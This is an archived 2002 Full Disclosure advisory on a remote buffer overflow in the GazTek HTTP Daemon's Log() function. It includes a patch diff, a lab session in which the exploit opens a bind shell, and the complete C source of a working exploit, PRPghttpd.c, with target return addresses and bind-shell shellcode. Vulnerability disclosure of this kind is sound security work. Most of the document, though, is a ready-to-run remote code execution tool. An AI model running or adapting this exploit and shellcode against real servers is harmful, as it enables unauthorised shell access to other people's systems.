Full Disclosure mailing list archives

Pyramid Research Project - ghttpd security advisorie


From: pyramid-rp () hushmail com (pyramid-rp () hushmail com)
Date: Sat, 12 Oct 2002 16:06:37 -0700

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -=================================================================-

        SECURITY ADVISORY
        PYR/\MID, Research Project - 100702
        Members: Apm, flea, thread

        Title:          GazTek HTTP Daemon v1.4-3 Buffer Overflow
        Author:         flea

        Vulnerable      GazTek HTTP Daemon <= v1.4-3
        Problem:        Buffer Overflow
        Remote:         Yes
        Release:        October 7, 2002
        Vendor:         Contacted
        Exploit:        PRPghttpd.c

- -=================================================================-




- - Package Overview
===================

        Ghttpd is a fast and efficient HTTP server that has CGI support.
Ghttpd has a small memory inprint and is capable of handling thousands of
simultanious connections. It is ideal for large and small websites.

- - Issue Specifics
==================

        Ghttpd server contains a remotely exploitable buffer overflow
which allows an attacker to gain ghttpd's previleges.

        The overflow occurs when a long "GET <buffer>" query is sent trough
a session and this is logged by the function Log():

        protocol.c:103:
        Log("Connection from %s, request = \"GET %s\"",
             inet_ntoa(sa.sin_addr), ptr);

        While executing the Log() function a buffer is copied without
checking boundries resulting in a buffer overflow:

        util.c:208: void Log(char *format, ...)
        util.c:213: char temp[200], temp2[200], logfilename[255];
        util.c:219: vsprintf(temp, format, ap);

        This flaw was detected in the latest ghttpd version(1.4-3) but
it's likely that the problem exists in previous versions as well, altough
this was not tested.

        A proof of concept exploit was coded for ghttpd servers running on
"i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1"
operating systems.

[root@testlab httpd]# uname -a
Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
[root@testlab ghttpd]# cat /etc/issue
Red Hat Linux release 7.3 (Valhalla)

[root@testlab httpd]# ls -al ghttpd
- -rwxr-xr-x    1 nobody   nobody      34687 Sep 27 02:04 ghttpd

[root@testlab httpd]# id
uid=0(root) gid=0(root) groups=0(root),
1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[root@testlab httpd]# ./ghttpd
[root@testlab httpd]# ghttpd launched into background, PID = 851

[root@testlab httpd]# ./PRPghttpd -b 127.0.0.1
Server: GazTek HTTP Daemon v1.4

[flea@testlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1
target: 127.0.0.1
arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0
ip size: 9 bytes
Adjust: 0 bytes
buffer size: 204 bytes
bind shellcode size: 128 bytes
bind shell tcp port: 36864
Injecting code at 0xbfffb9c0...
Done!

[flea@testlab httpd]$ telnet localhost 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=99(nobody) gid=99(nobody)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found

- - Temporary Patch
==================

        Another similar bug affects the Log() function, so here's a
temporary fix for both.

+++ util.c      Sat Sep 28 01:26:33 2002
@@ -210,12 +210,16 @@
        FILE *logfile;
        time_t t;
        struct tm *tm;
- -       char temp[200], temp2[200], logfilename[255];
+       char *temp, *temp2;
+       char logfilename[255];
        char datetime[] = "[%d.%m.%Y] [%H:%M.%S]";
        char datetime_final[128];
        va_list ap;

        va_start(ap, format);           // format it all into temp
+
+       /* temp[200] overflow patch */
+       temp = malloc(strlen(format)+1024);
- -       vsprintf(temp, format, ap);
+       vsnprintf(temp, strlen(format)+1024, format, ap);
        va_end(ap);

@@ -225,6 +229,8 @@
        strftime(datetime_final, 127, datetime, tm);

        // format it all so we have date/time/loginfo
+       /* temp2[200] overflow patch */
+       temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5));
        sprintf(temp2, "%s - %s\n", datetime_final, temp);
        sprintf(logfilename, "%s/ghttpd.log", SERVERROOT);

@@ -234,4 +240,4 @@
        fputs(temp2, logfile);          // Save to the file

        fclose(logfile);                // Close file
- -}
\ No newline at end of file
+}

EOF

/* PRPghttpd.c

        This program is free software; you can redistribute it and/or
        modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation; either version 2
        of the License, or (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
        02111-1307, USA.

        -

        PYR/\MID, Research Project
        Author: flea
        Date: October 7, 2002
        Members: Apm, flea, thread

        Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

        Works on:
        i386 Redhat 7.2
        i386 Redhat 7.3
        i386 Slackware 8.1

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NOP                     0x90
#define MIN_BUFFER_SIZE         198
#define MAX_IP_LENGHT           15
#define GAZTEK_PORT             80
#define BIND_PORT               36864

void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);

#define ARCH_NUMBER             4

struct arch {
        int id;
        char *os;
        long addr;
        int adjusted_buf;
} architectures[] = {
                        {0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
                        {1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
                        {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
                        {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
                     };

char bindshell[] =
        "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
        "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
        "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
        "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
        "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
        "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
        "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
        "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

void synops(char *argv[])
{
        int i;

        printf("PYR/\\MID, Research Project 02\n");
        printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
        printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);
        printf("<ip>            - ip address to check lenght\n");
        printf("<remote>        - remote target ip addr\n");
        printf("<arch>          - remote architecture id\n");
        printf("<banner>        - ip addr to check banner\n\n");
        printf("Architectures id:\n");

        for(i=0; i<ARCH_NUMBER; i++)
                printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);

        exit(0);
}

void get_ban(char *ban_addr)
{
        int i, sock_fd;
        char *read_buf, *read_buf_toked, *ptr;
        struct sockaddr_in target;

        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
        {
                printf("socket() error.\n");
                exit(-1);
        }

        target.sin_family = AF_INET;
        target.sin_port = htons(GAZTEK_PORT);

        if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
        {
                printf("\"%s\" is an invalid ip address.\n", ban_addr);
                exit(-1);
        }

        bzero(&(target.sin_zero), 8);

        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
        {
                printf("connect() error.\n");
                exit(-1);
        }

        if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)
        {
                printf("write() error.\n");
                exit(-1);
        }

        read_buf = malloc(256);
        read_buf_toked = malloc(256);

        if((read(sock_fd, read_buf, 256)) == -1)
        {
                printf("read() error.\n");
                exit(-1);
        }

        strcpy(read_buf_toked, read_buf);
        ptr = strstr(read_buf_toked, "Server");
        ptr = strtok(ptr, "\n");

        printf("%s\n\n", ptr);

        printf("****** FULL HEADERS ******\n");
        ptr = strtok(read_buf, "\n");

        for(i=0; i<4; i++)
        {
                ptr = strtok(NULL, "\n");
                printf("%s\n", ptr);
        }
        printf("****** FULL HEADERS ******\n");
        exit(0);
}

main(int argc, char *argv[])
{
        int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
        char *addr, *get_buf, *get_buf_str;
        long ret;

        extern char *optarg;
        extern int optind, optopt;

        struct sockaddr_in target;

        if(argc == 1)
                synops(argv);

        while((c = getopt(argc, argv, "b:d:")) != -1)
        {
                switch(c)
                {
                        case 'b':
                                addr = malloc(strlen(optarg));
                                strcpy(addr, optarg);
                                ban_chk++;
                                break;
                        case 'd':
                                if(!(argv[optind]))
                                        errflg++;
                                if(!(argv[optind+1]))
                                        errflg++;
                                if(errflg == 0)
                                {
                                        if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
                                        {
                                                printf("Invalid architecture id.\n");
                                                exit(-1);
                                        }

                                        if((inet_addr(argv[optind])) != -1)
                                                ip_lenght = strlen(argv[optind+1]);
                                        else
                                        {
                                                printf("\"%s\" is an invalid ip address.\n", argv[optind]);
                                                exit(-1);
                                        }
                                        addr = malloc(strlen(argv[optind+1]));
                                        strcpy(addr, argv[optind+1]+1);
                                        exp_flg++;
                                }

                                break;
                        case ':':
                                errflg++;
                                break;
                        case '?':
                                errflg++;
                }
        }

        if(errflg > 0)
                synops(argv);

        /* check banner info */
        if(ban_chk > 0)
                get_ban(addr);

        if(!(exp_flg))
                synops(argv);
/*
        Buffer Size Craft Relation
        min string size                    = 192 bytes
        string "GET _" size                =   4 bytes
        max log ip size "255.255.255.255"  =  15 bytes
        string "\n\n" size                 =   2 bytes
                                           = 198 bytes
                                                        */
        /* dont count with GET request and newline bytes */
        c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
        /* NULL string byte */
        c_size = c_size+1;

        /* builds crafted buffer */
        get_buf = malloc(c_size);
        /* counts with all constants sizes */
        get_buf_str = malloc((c_size+4+2));

        memset(get_buf, NOP, c_size);
        memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
        *(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
        get_buf[c_size-1] = '\0';

        /* final buffer, now just inject on connection */
        sprintf(get_buf_str,"GET %s\n\n", get_buf);

        /* infos */
        printf("target: %s\n", addr);
        printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, 
architectures[arch_id].addr);
        printf("ip size: %d bytes\n", ip_lenght);
        printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
        printf("buffer size: %d bytes\n", strlen(get_buf_str));
        printf("bind shellcode size: %d bytes\n", strlen(bindshell));
        printf("bind shell tcp port: %d\n", BIND_PORT);
        printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);

        /* start socket() */

        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
        {
                printf("socket() error.\n");
                exit(-1);
        }

        target.sin_family = AF_INET;
        target.sin_port = htons(GAZTEK_PORT);

        if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
        {
                printf("\"%s\" is an invalid ip address.\n", addr);
                exit(-1);
        }

        bzero(&(target.sin_zero), 8);

        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
        {
                printf("connect() error.\n");
                exit(-1);
        }

        if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
        {
                printf("write() error.\n");
                exit(-1);
        }

        printf("Done!\n");

return 0;
}



-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify

wl8EARECAB8FAj15QrcYHHB5cmFtaWQtcnBAaHVzaG1haWwuY29tAAoJEJnK0tsmALZM
MxwAn0eactoWhSOs+OGX1Epz0nDgzCZgAJ4gvQX6MDuQlf7PujofHfEFT2EZLQ==
=M3pC
-----END PGP SIGNATURE-----




Get your free encrypted email at https://www.hushmail.com


Current thread: